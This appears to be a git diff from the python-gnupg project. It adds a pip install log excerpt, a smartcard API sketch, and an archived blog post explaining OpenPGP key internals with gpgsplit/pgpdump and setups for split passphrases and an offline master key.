/home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/ext.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/exceptions.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/environment.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/constants.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/_compat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/debug.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/visitor.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/bccache.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/optimizer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/filters.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/_stringdefs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/runtime.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/loaders.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates/foo + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/foo/test.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates/foo + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/broken.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/syntaxerror.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/test.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/templates + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/res/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/regression.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/utils.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/loader.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/api.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/ext.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/doctests.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/debug.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/core_tags.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/filters.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/security.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/imports.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/bytecode_cache.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/lexnparse.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/tests.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/testsuite/inheritance.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite + + copying build/lib.linux-x86_64-2.7/jinja2/tests.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/parser.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/meta.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/compiler.py to compiler.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/defaults.py to defaults.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/sandbox.py to sandbox.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/utils.py to utils.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/nodes.py to nodes.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/lexer.py to lexer.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/ext.py to ext.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/exceptions.py to exceptions.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/environment.py to environment.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/constants.py to constants.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/_compat.py to _compat.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/debug.py to debug.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/visitor.py to visitor.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/bccache.py to bccache.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/optimizer.py to optimizer.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/filters.py to filters.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/_stringdefs.py to _stringdefs.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/runtime.py to runtime.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/loaders.py to loaders.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/res/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/regression.py to regression.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/utils.py to utils.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/loader.py to loader.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/api.py to api.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/ext.py to ext.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/doctests.py to doctests.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/debug.py to debug.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/core_tags.py to core_tags.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/filters.py to filters.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/security.py to security.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/imports.py to imports.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/bytecode_cache.py to bytecode_cache.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/lexnparse.py to lexnparse.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/tests.py to tests.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/testsuite/inheritance.py to inheritance.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/tests.py to tests.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/parser.py to parser.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2/meta.py to meta.pyc + + running install_egg_info + + Copying Jinja2.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/Jinja2-2.7.1-py2.7.egg-info + + running install_scripts + + writing list of installed files to '/tmp/pip-Xo3vHh-record/install-record.txt' + + Running setup.py install for markupsafe + + Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/markupsafe/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-tWScRd-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 + + running install + + running build + + running build_py + + creating build + + creating build/lib.linux-x86_64-2.7 + + creating build/lib.linux-x86_64-2.7/markupsafe + + copying markupsafe/_constants.py -> build/lib.linux-x86_64-2.7/markupsafe + + copying markupsafe/_native.py -> build/lib.linux-x86_64-2.7/markupsafe + + copying markupsafe/_compat.py -> build/lib.linux-x86_64-2.7/markupsafe + + copying markupsafe/__init__.py -> build/lib.linux-x86_64-2.7/markupsafe + + copying markupsafe/tests.py -> build/lib.linux-x86_64-2.7/markupsafe + + running egg_info + + writing MarkupSafe.egg-info/PKG-INFO + + writing top-level names to MarkupSafe.egg-info/top_level.txt + + writing dependency_links to MarkupSafe.egg-info/dependency_links.txt + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'MarkupSafe.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + writing manifest file 'MarkupSafe.egg-info/SOURCES.txt' + + copying markupsafe/_speedups.c -> build/lib.linux-x86_64-2.7/markupsafe + + running build_ext + + building 'markupsafe._speedups' extension + + creating build/temp.linux-x86_64-2.7 + + creating build/temp.linux-x86_64-2.7/markupsafe + + x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -I/usr/include/python2.7 -c markupsafe/_speedups.c -o build/temp.linux-x86_64-2.7/markupsafe/_speedups.o + + x86_64-linux-gnu-gcc -pthread -shared -Wl,-O1 -Wl,-Bsymbolic-functions -Wl,-z,relro -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -D_FORTIFY_SOURCE=2 -g -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security build/temp.linux-x86_64-2.7/markupsafe/_speedups.o -o build/lib.linux-x86_64-2.7/markupsafe/_speedups.so + + running install_lib + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe + + copying build/lib.linux-x86_64-2.7/markupsafe/_constants.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe + + copying build/lib.linux-x86_64-2.7/markupsafe/_native.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe + + copying build/lib.linux-x86_64-2.7/markupsafe/_speedups.c -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe + + copying build/lib.linux-x86_64-2.7/markupsafe/_speedups.so -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe + + copying build/lib.linux-x86_64-2.7/markupsafe/_compat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe + + copying build/lib.linux-x86_64-2.7/markupsafe/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe + + copying build/lib.linux-x86_64-2.7/markupsafe/tests.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/_constants.py to _constants.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/_native.py to _native.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/_compat.py to _compat.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/markupsafe/tests.py to tests.pyc + + running install_egg_info + + Copying MarkupSafe.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/MarkupSafe-0.18-py2.7.egg-info + + running install_scripts + + writing list of installed files to '/tmp/pip-tWScRd-record/install-record.txt' + +Successfully installed sphinxcontrib-fulltoc Sphinx docutils Pygments Jinja2 markupsafe + +Cleaning up... + + Removing temporary dir /home/isis/.virtualenvs/python-gnupg/build... + diff --git a/docs/smartcard-idea.txt b/docs/smartcard-idea.txt new file mode 100644 index 0000000..4d8d880 --- /dev/null +++ b/docs/smartcard-idea.txt @@ -0,0 +1,10 @@ +>>> import gnupg +>>> gpg = gnupg.GPG() +>>> gpg.sc = gnupg.SmartCard() ## this could be done in gnupg.GPG.__init__() too +>>> gpg.sc.detected() +True +>>> gpg.sc.serialno() +1234567890abcdef +>>> gpg.sc.learn() + +>>> gpg.sc. diff --git a/docs/the-internals-of-a-gpgpgp-key b/docs/the-internals-of-a-gpgpgp-key new file mode 100644 index 0000000..86ab6af --- /dev/null +++ b/docs/the-internals-of-a-gpgpgp-key @@ -0,0 +1,631 @@ + + + + + + +Long-term Memory » Blog Archive » The internals of an OpenPGP key + + + + + + + + + + + + + + + + + + + + + + + + +
+ + +
+ +
+ + + + +
+
+
+

When I was updating my GPG/OpenPGP key, I did some research on the internals of the keys. There appear to be very nice tools to explore the internals of a key. You can also manipulate this key in different aspects: use multiple passwords on a single key, remove part of a secret key for enhanced security; you can even move subkeys between master-keys.

+

Mandatory note: Before you try any of this on your own key, it would be wise to backup everything.

+

Another note: All output below is from a temporary key, don’t use the keyid for anything useful.

+

The parts of a key

+

As everyone can tell you, a GPG-key consists of 2 parts: a public and a private part. While this is true conceptually, it’s not true in practice: there are a lot of parameters that are in both parts. The gpgsplit and pgpdump utilities can show the actual content of a key:

+ + + + + + + +
+
$ gpg --export > key.pub
+$ gpgsplit -v -p key.pub. key.pub
+gpgsplit: writing `key.pub.000001-006.public_key'
+gpgsplit: writing `key.pub.000002-013.user_id'
+gpgsplit: writing `key.pub.000003-002.sig'
+gpgsplit: writing `key.pub.000004-014.public_subkey'
+gpgsplit: writing `key.pub.000005-002.sig'
+
+
$ gpg --export-secret-keys > key.sec
+$ gpgsplit -v -p key.sec. key.sec
+gpgsplit: writing `key.sec.000001-005.secret_key'
+gpgsplit: writing `key.sec.000002-013.user_id'
+gpgsplit: writing `key.sec.000003-002.sig'
+gpgsplit: writing `key.sec.000004-007.secret_subkey'
+gpgsplit: writing `key.sec.000005-002.sig'
+
+

GPGsplit splits up the key into its components:

+
    +
  • 000001 : The master DSA key used for signing. Either the public or the secret variant
  • +
  • 000002 : The user_id. This packets contains the name, email and comment. This component is identical in the public and private key
  • +
  • 000003 : A signature that binds this identity to the master DSA key
  • +
  • 000004 : The ElGamal key used for en/decryption. Either the public or the secret variant
  • +
  • 000005 : A signature that binds this encryption key to the master DSA key
  • +
+

Combining multiple parts together is actually even easier: just cat them together!

+

We can dig even deeper with pgpdump. It shows the actual content of one (or more) parts. I tabulated the output to make it more easily comparable.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
$ pgpdump key.pub
+
+
$ pgpdump key.sec
+
+
Old: Public Key Packet(tag 6)(418 bytes)
+	Ver 4 - new
+	Public key creation time - Mon Apr 13 11:19:26 CEST 2009
+	Pub alg - DSA Digital Signature Algorithm(pub 17)
+	DSA p(1024 bits) - ...
+	DSA q(160 bits) - ...
+	DSA g(1024 bits) - ...
+	DSA y(1023 bits) - ...
+
+
Old: Secret Key Packet(tag 5)(481 bytes)
+	Ver 4 - new
+	Public key creation time - Mon Apr 13 11:19:26 CEST 2009
+	Pub alg - DSA Digital Signature Algorithm(pub 17)
+	DSA p(1024 bits) - ...
+	DSA q(160 bits) - ...
+	DSA g(1024 bits) - ...
+	DSA y(1023 bits) - ...
+	Sym alg - CAST5(sym 3)
+	Iterated and salted string-to-key(s2k 3):
+		Hash alg - SHA1(hash 2)
+		Salt - 4f 6d 16 29 91 67 59 c6
+		Count - 65536(coded count 96)
+	IV - cd 71 8e c5 b8 d1 88 de
+	Encrypted DSA x
+	Encrypted SHA1 hash
+
+
Old: User ID Packet(tag 13)(31 bytes)
+	User ID - ______ <______@______.__>
+
+
Old: User ID Packet(tag 13)(31 bytes)
+	User ID - ______ <______@______.__>
+
+
Old: Signature Packet(tag 2)(96 bytes)
+	Ver 4 - new
+	Sig type - Positive certification of a User ID and Public Key packet(0x13).
+	Pub alg - DSA Digital Signature Algorithm(pub 17)
+	Hash alg - SHA1(hash 2)
+	Hashed Sub: signature creation time(sub 2)(4 bytes)
+		Time - Mon Apr 13 11:19:26 CEST 2009
+	Hashed Sub: key flags(sub 27)(1 bytes)
+		Flag - This key may be used to certify other keys
+		Flag - This key may be used to sign data
+	Hashed Sub: preferred symmetric algorithms(sub 11)(5 bytes)
+		Sym alg - AES with 256-bit key(sym 9)
+		Sym alg - AES with 192-bit key(sym 8)
+		Sym alg - AES with 128-bit key(sym 7)
+		Sym alg - CAST5(sym 3)
+		Sym alg - Triple-DES(sym 2)
+	Hashed Sub: preferred hash algorithms(sub 21)(3 bytes)
+		Hash alg - SHA1(hash 2)
+		Hash alg - SHA256(hash 8)
+		Hash alg - RIPEMD160(hash 3)
+	Hashed Sub: preferred compression algorithms(sub 22)(3 bytes)
+		Comp alg - ZLIB <RFC1950>(comp 2)
+		Comp alg - BZip2(comp 3)
+		Comp alg - ZIP <RFC1951>(comp 1)
+	Hashed Sub: features(sub 30)(1 bytes)
+		Flag - Modification detection (packets 18 and 19)
+	Hashed Sub: key server preferences(sub 23)(1 bytes)
+		Flag - No-modify
+	Sub: issuer key ID(sub 16)(8 bytes)
+		Key ID - 0xF8FF38F1AE14BF43
+	Hash left 2 bytes - ac 14
+	DSA r(160 bits) - ...
+	DSA s(159 bits) - ...
+		-> hash(160 bits)
+
+
Old: Signature Packet(tag 2)(96 bytes)
+	Ver 4 - new
+	Sig type - Positive certification of a User ID and Public Key packet(0x13).
+	Pub alg - DSA Digital Signature Algorithm(pub 17)
+	Hash alg - SHA1(hash 2)
+	Hashed Sub: signature creation time(sub 2)(4 bytes)
+		Time - Mon Apr 13 11:19:26 CEST 2009
+	Hashed Sub: key flags(sub 27)(1 bytes)
+		Flag - This key may be used to certify other keys
+		Flag - This key may be used to sign data
+	Hashed Sub: preferred symmetric algorithms(sub 11)(5 bytes)
+		Sym alg - AES with 256-bit key(sym 9)
+		Sym alg - AES with 192-bit key(sym 8)
+		Sym alg - AES with 128-bit key(sym 7)
+		Sym alg - CAST5(sym 3)
+		Sym alg - Triple-DES(sym 2)
+	Hashed Sub: preferred hash algorithms(sub 21)(3 bytes)
+		Hash alg - SHA1(hash 2)
+		Hash alg - SHA256(hash 8)
+		Hash alg - RIPEMD160(hash 3)
+	Hashed Sub: preferred compression algorithms(sub 22)(3 bytes)
+		Comp alg - ZLIB <RFC1950>(comp 2)
+		Comp alg - BZip2(comp 3)
+		Comp alg - ZIP <RFC1951>(comp 1)
+	Hashed Sub: features(sub 30)(1 bytes)
+		Flag - Modification detection (packets 18 and 19)
+	Hashed Sub: key server preferences(sub 23)(1 bytes)
+		Flag - No-modify
+	Sub: issuer key ID(sub 16)(8 bytes)
+		Key ID - 0xF8FF38F1AE14BF43
+	Hash left 2 bytes - ac 14
+	DSA r(160 bits) - ...
+	DSA s(159 bits) - ...
+		-> hash(160 bits)
+
+
Old: Public Subkey Packet(tag 14)(525 bytes)
+	Ver 4 - new
+	Public key creation time - Mon Apr 13 11:19:26 CEST 2009
+	Pub alg - ElGamal Encrypt-Only(pub 16)
+	ElGamal p(2048 bits) - ...
+	ElGamal g(3 bits) - ...
+	ElGamal y(2047 bits) - ...
+
+
Old: Secret Subkey Packet(tag 7)(611 bytes)
+	Ver 4 - new
+	Public key creation time - Mon Apr 13 11:19:26 CEST 2009
+	Pub alg - ElGamal Encrypt-Only(pub 16)
+	ElGamal p(2048 bits) - ...
+	ElGamal g(3 bits) - ...
+	ElGamal y(2047 bits) - ...
+	Sym alg - CAST5(sym 3)
+	Iterated and salted string-to-key(s2k 3):
+		Hash alg - SHA1(hash 2)
+		Salt - 4f 6d 16 29 91 67 59 c6
+		Count - 65536(coded count 96)
+	IV - 8c 06 ec cd 38 eb 70 20
+	Encrypted ElGamal x
+	Encrypted SHA1 hash
+
+
Old: Signature Packet(tag 2)(73 bytes)
+	Ver 4 - new
+	Sig type - Subkey Binding Signature(0x18).
+	Pub alg - DSA Digital Signature Algorithm(pub 17)
+	Hash alg - SHA1(hash 2)
+	Hashed Sub: signature creation time(sub 2)(4 bytes)
+		Time - Mon Apr 13 11:19:26 CEST 2009
+	Hashed Sub: key flags(sub 27)(1 bytes)
+		Flag - This key may be used to encrypt communications
+		Flag - This key may be used to encrypt storage
+	Sub: issuer key ID(sub 16)(8 bytes)
+		Key ID - 0xF8FF38F1AE14BF43
+	Hash left 2 bytes - 2e a7
+	DSA r(159 bits) - ...
+	DSA s(160 bits) - ...
+		-> hash(160 bits)
+
+
Old: Signature Packet(tag 2)(73 bytes)
+	Ver 4 - new
+	Sig type - Subkey Binding Signature(0x18).
+	Pub alg - DSA Digital Signature Algorithm(pub 17)
+	Hash alg - SHA1(hash 2)
+	Hashed Sub: signature creation time(sub 2)(4 bytes)
+		Time - Mon Apr 13 11:19:26 CEST 2009
+	Hashed Sub: key flags(sub 27)(1 bytes)
+		Flag - This key may be used to encrypt communications
+		Flag - This key may be used to encrypt storage
+	Sub: issuer key ID(sub 16)(8 bytes)
+		Key ID - 0xF8FF38F1AE14BF43
+	Hash left 2 bytes - 2e a7
+	DSA r(158 bits) - ...
+	DSA s(159 bits) - ...
+		-> hash(160 bits)
+
+

There are several things to discover within this output:

+
    +
  • The secret part of the master DSA packet contains all the information of the public key, plus some extra fields. It is thus possible to convert a secret key into a public key. This is exactly what “gpgsplit –secret-to-public” does.
  • +
  • The public fields of the master DSA key (p, q, g and y) are plain-text; the secret field (x) is encrypted using a CAST5 encryption and a password (specified when creating the keypair)
  • +
  • The same is true for the ElGamal key: p, g and y are public and plain text; x is secret and encrypted.
  • +
  • Note that the secret parts of the DSA-key and the ElGamal key are seperately encrypted. I’ll explore this further in the following section
  • +
  • The signature that binds the user_id to the master DSA key also contains the users preferences: which encryption and hashing algorithms are supported and in what order are they prefered.
  • +
+

Passwords on the secret keys

+

As noted above, the two secret keys (signing and encryption) are encrypted seperately. This opens up some nice opportunities for extra security. There is no requirement that the passphrase for both keys are the same! This is originally documented here (local mirror).

+

The principle behind this is actually fairly easy:

+
    +
  • Change the passphrase to passphrase1 using the “gpg –edit-key” command
  • +
  • Export the secret key: “gpg –export-secret-key > key.sec.pass1″
  • +
  • Change the passphrase to passphrase2 using the “gpg –edit-key” command
  • +
  • Export the secret key: “gpg –export-secret-key > key.sec.pass2″
  • +
  • Split both keys into their parts, cat together the relevant parts. You can choose between pass1 and pass2, but you need every part, in order! Only the “secret_key” and “secret_subkey” parts will differ; the other parts should be identical.
  • +
+
+
$ gpgsplit -p key.sec.pass1. -v key.sec.pass1
+gpgsplit: writing `key.sec.pass1.000001-005.secret_key'
+gpgsplit: writing `key.sec.pass1.000002-013.user_id'
+gpgsplit: writing `key.sec.pass1.000003-002.sig'
+gpgsplit: writing `key.sec.pass1.000004-007.secret_subkey'
+gpgsplit: writing `key.sec.pass1.000005-002.sig'
+$ gpgsplit -p key.sec.pass2. -v key.sec.pass2
+gpgsplit: writing `key.sec.pass2.000001-005.secret_key'
+gpgsplit: writing `key.sec.pass2.000002-013.user_id'
+gpgsplit: writing `key.sec.pass2.000003-002.sig'
+gpgsplit: writing `key.sec.pass2.000004-007.secret_subkey'
+gpgsplit: writing `key.sec.pass2.000005-002.sig'
+$
+$ cat key.sec.pass1.000001-005.secret_key \
+      key.sec.pass1.000002-013.user_id \
+      key.sec.pass1.000003-002.sig \
+      key.sec.pass2.000004-007.secret_subkey \
+      key.sec.pass1.000005-002.sig \
+   > key.sec.bothpass
+
+
    +
  • Delete your secret key from the GPG keyring: “gpg –delete-secret-key keyid”
  • +
  • Import the multi-password key: “gpg –import key.sec.bothpass”
  • +
  • Optional but highly recommended: Test the new setup
  • +
+
+
$ date | gpg --clearsign   # should work with passphrase1
+$ date | gpg --encrypt --armour --recipient keyid | gpg --decrypt   # should work with passphrase 2
+
+

Multiple subkeys

+

A GPG/PGP key actually has three purposes:

+
    +
  • Sign/verify other keys
  • +
  • Sign/verify messages
  • +
  • Encrypt/decrypt messages
  • +
+

By default, GPG creates 2 keys: one for encrypting (by default ElGamal), one for signing (by default DSA). It does not differentiate between both signing purposes.

+

An important thing to note is that the userID is bound to the master DSA-key. This means that you cannot change your master DSA-key without loosing all your signatures on your userID(s). However, you are free to change your subkeys as often as you like. This is exactly the reason why I seperated the two signing-purposes into two different keys: The master DSA-key is still used to sign other keys, but I use a DSA-subkey to sign my messages. This way, I can change ElGamal and DSA-key every year without loosing all my signatures. This also has a security advantage: I don’t have to keep my master DSA secret key on my computer and can store it safely offline. The way to get this working is documented here (local mirror).

+

Basically it boils down to this: use “gpg –edit-key” to add a DSA subkey. GPG will sign messages with this subkey by default.

+

To get a bit extra security, you can remove the master DSA secret key from your computer. Make sure you have a backup: you will need this secret key to sign other keys and to renew your subkeys. Since a subkey cannot exist without its parent, you need some tricks to get this working:

+
+
$ gpg --export-secret-subkeys n > key.subsec
+
+

This exports only the subkeys and places them inside a dummy master key. Note the difference from above:

+
+
$ pgpdump key.subsec
+Old: Secret Key Packet(tag 5)(426 bytes)
+	Ver 4 - new
+	Public key creation time - Mon Apr 13 11:19:26 CEST 2009
+	Pub alg - DSA Digital Signature Algorithm(pub 17)
+	DSA p(1024 bits) - ...
+	DSA q(160 bits) - ...
+	DSA g(1024 bits) - ...
+	DSA y(1023 bits) - ...
+	Sym alg - CAST5(sym 3)
+	GnuPG string-to-key(s2k 101)
+	Encrypted DSA x
+	Encrypted SHA1 hash
+<...>
+
+

To get this version into your keyring you need to delete your secret key and import the crippeled one:

+
+
$ gpg --list-secret-key
+/tmp/gnupg/secring.gpg
+-----------------------
+sec   1024D/AE14BF43 2009-04-13
+uid                  ______ <______@______.__>
+ssb   2048g/56B47206 2009-04-13
+
+$ gpg --delete-secret-key keyid
+$ gpg --import key.subsec
+$ gpg --list-secret-key
